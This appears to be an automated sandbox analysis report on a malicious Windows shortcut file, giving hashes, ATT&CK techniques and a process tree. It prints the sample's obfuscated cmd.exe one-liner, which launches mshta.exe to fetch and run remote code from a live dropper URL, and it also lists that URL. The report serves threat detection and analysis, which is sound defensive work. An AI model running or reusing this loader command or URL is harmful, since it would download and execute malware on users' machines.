74de65f5593e99722b90388bface941f16f8aa1ab386fa091f88ae3736126727

Analysis

max time kernel
38s
max time network
22s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 18:53

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General

Target
DOC-UDCMHW.lnk
Size 1KB
Sample260803-xj3phseb49
SHA256 74de65f5593e99722b90388bface941f16f8aa1ab386fa091f88ae3736126727
MD5 a5643b45b57cc3067329fc7f1190ae29
SHA1 f7c765768fa6406e699edde4db5d54a84b59bcd3
SHA512 d6b0272214036f5aa2b771f166fdc789bff80fbab6effd35a003d87b3315bddf96baa1456124cd7db4f89ceff900d9a55628d55589f9eea183f18906104517e1
TLSH
T1663147503FED0628F3B78F7784BB972485BBB8568D24C62E0541464C5472B11E17AF7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdf.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4064	mshta.exe
6	4064	mshta.exe
9	4064	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3260	cmd.exe
2132	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 3260	2132	cmd.exe	90
PID 3260 wrote to memory of 4064	3260	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UDCMHW.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2132
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set gErnd=msh&&set ujgrn=ta&&start "" !gErnd!!ujgrn! https://ma-pdf.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdf.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    - Badlisted process makes network request
    PID:4064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads